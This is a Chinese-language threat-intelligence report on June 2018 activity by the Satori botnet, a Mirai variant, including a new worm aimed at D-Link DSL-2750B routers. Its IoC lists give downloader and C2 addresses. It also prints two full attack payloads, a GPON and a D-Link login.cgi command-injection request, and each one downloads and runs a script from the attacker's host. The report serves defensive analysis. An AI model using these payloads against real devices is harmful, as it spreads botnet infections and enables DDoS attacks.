僵尸永远不死，Satori也拒绝凋零

两天前，2018-06-14，我们注意到 Satori 的作者开始扫描收集 uc-httpd 1.0.0 设备的IP地址列表。这或许是为了针对4月公开的脆弱性 XiongMai uc-httpd 1.0.0 (CVE-2018-10088) 在做准备。这些扫描活动导致了近期在 80 和 8000 端口上的扫描流量大涨。


3小时前，就在我们撰写本篇文章的同时，Satori 作者又发布了一个更新版本。这个更新是个蠕虫，针对 D-Link DSL-2750B 设备，对应的漏洞利用在5月25日刚刚 公开 。


僵尸永远不死


Satori 是 Mirai 僵尸网络的一个变种，我们首次注意到该僵尸网络是 2017-11-22。一周之后，2017-12-05，Satori在12小时内感染了超过26万家用路由器设备，成为臭名昭著的僵尸网络。从那以后我们不再使用“一个mirai僵尸网络变种”称呼它，而是给予了它一个独立的名字 Satori。以上这些记录在我们的 报告 和 报告 中。


在那之后，安全社区采取了联合行动。多家运营商在 Satori 的重点攻击端口 37215 上采取了对抗措施。从事后看，这些措施有效抑制了 Satori 的扩张速度。但仅仅安全社区的这些披露和联合行动似乎并不能阻止 Satori 作者的更新。


2018-01-08，我们检测到 Satori 的后继变种Satori.Coin.Robber 尝试在端口37215和52869上重新建立整个僵尸网络。值得注意的是，新变种开始渗透互联网上现存Claymore Miner挖矿设备，通过攻击其3333 管理端口，替换钱包地址，并最终攫取受害挖矿设备的算力和对应的 ETH 代币。这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。我们在另一份 报告 中批露了 Satori 的这些活动。


2018-05-10，GPON 漏洞（CVE-2018-10561，CVE-2018-10562）公布以后不到 10 天，Satori 也加入抢夺 GPON 易感设备的行列。并且Satori在短短时间内就挤掉了其它竞争对手，成为 “GPON僵尸Party” 中投放能力最强的一个。这已经是我们关于Satori 的第四份 报告 。


现在这篇是我们关于Satori 的第五份报告。僵尸永远不死，而且它们拒绝凋零。Satori的作者选择留在了场上。


Satori 过去几天里的活动更新


Satori 近期活动的核心样本如下：


hxxp://185.62.190.191/arm.bot.le



该样本是由其它感染设备投入的，利用的漏洞是 GPON（ CVE-2018-10561），投入时的攻击Payload 是：


POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+hxxp://185.62.190.191/r+-O+->/tmp/r;sh+/tmp/r&ipv=0



在该样本中：


 * 信息收集和上报：扫描互联网，寻找拥有 “uc-httpd 1.0.0” 设备指纹的IP地址，并将收集到的IP地址汇报至 r[.]rippr.cc:48101；
 * 控制主机：95.215.62.169:5600 是其上联主机。C2通信协议也与之前版本不同，但本文不做展开；
 * DDoS攻击能力：集成四种 DDoS 攻击向量 udp_flood，syn_flood，tcp_ack_flood，gre_flood；


在我们观察的过程中，该分支已经至少发起过两次DDoS攻击，攻击细节如下：


 * 2018-06-13 21:09:00 前后：TCP_ACK_FLOOD->(144.217.47.56:25565)
 * 2018-06-14 23:00:00 前后：UDP_FLOOD -> (185.71.67.43:53)


这两次攻击分别与我们DDoSMon 上的 观察1 和 观察2 一致。


该样本导致了近期 80和8000 端口上的扫描流量


我们近期在ScanMon上分别观察到 80 和 8000 端口上的扫描流量增长。两次流量增长的开始时间分别是 2018-06-09 和 2018-06-14。







这两个端口上的流量增长，均是 Satori 样本 arm.bot.le 及其更新版本导致的：


 * 端口80：扫描流量中的首包为 GET / HTTP/1.0，这与我们在 arm.bot.le 样本中观察到的 payload 一致；
 * 端口8000：扫描流量中的首包为 HEAD / HTTP/1.0，这与我们在 arm.bot.le 的更新版本中观察到的payload一致。


同源性分析


我们判定当前这些恶意样本与之前的 Satori 是同源的：


 * 地址同源：样本下载URL（hxxp://185.62.190.191/arm.bot.le） 中的IP地址 185.62.190.191 ，是新样本的Downloader，这个IP地址也是 Satori 在之前 GPON 漏洞Party 中使用的Downloader 地址。
 * 代码同源：一段借鉴于 MIRAI 的解密代码在之前 Satori 的 okiru 系列样本中使用过。这段代码在新样本也在延续使用。







上面两图展示的加密代码片段分别来自：


 * 本轮的 Satori 样本：F8D1D92E9B74445F2A0D7F1FEB78D639，
 * 之前的 Satori Okiru 分支 : 0D39BF8EE7AC89DEC5DD8E541A828E15，


Satori 在采集 uc-httpd 1.0.0 设备指纹的 IP 地址


Satori 正在通过扫描 80/8000 端口的方式采集拥有“uc-httpd 1.0.0”设备指纹的 IP 地址，相关伪代码见后。


一旦发现匹配的目标，便会将其 IP 汇报至 180.101.204.161:48101。值得说明的是上述地址是动态配置在 r.rippr.cc 域名的 DNS TXT 记录中的。通过这种方式作者可以在服务器端随意修改 C2 的IP地址，避免了样本硬编码。





Satori 当前的更新


3小时前，2018-06-15 07:00:00，就在编辑们紧张撰写本文的同时，Satori 又做了更新。值得警惕的是，这个更新是个蠕虫：


 * 针对漏洞：D-Link DSL-2750B 的命令执行漏洞
 * 漏洞利用：在5月25日刚刚 公开
 * 扫描端口：80 和 8080
 * 蠕虫式传播：该漏洞利用同时出现在攻击投入的Payload中，以及投入成功后得到的样本中。如此，样本能够传播自身，形成蠕虫式传播
 * C2：95.215.62[.]169:5600。该IP地址动态配置在 i.rippr.cc 域名的 DNS TXT 中。


样本来自：


e0278453d814d64365ce22a0c543ecb6    hxxp://185.62.190.191/r
b288d2f404963fbc7ab03fcb51885cc3    hxxp://185.62.190.191/mipsel.bot.le
78191f8f942b8c9b3b6cceb743cefb03    hxxp://185.62.190.191/arm7.bot.le
753cbfec2475be870003a47b00e8e372    hxxp://185.62.190.191/arm.bot.le
0a44d64fdf9aebfedf433fb679b8b289    hxxp://185.62.190.191/mips.bot.be



样本的投入 Payload ：


GET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -> /tmp/r;sh /tmp/r'$ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World



该攻击 Payload 同时出现在样本中：




IoC


185.62.190.191          Satori Downloader
180.101.204.161:48101   Satori Report
r.rippr.cc              Satori Reporter listed in this host's DNS TXT record
95.215.62.169:5600      Satori C2
i.rippr.cc              Satori C2 listed in this host's DNS TXT record



Satori Malware Sample md5


f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm
f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7
f6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le
99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl
99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le
e337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7
e337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le
f8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm
f8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le
656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le
31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le
426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le
44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le
476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le
bdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le
e193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r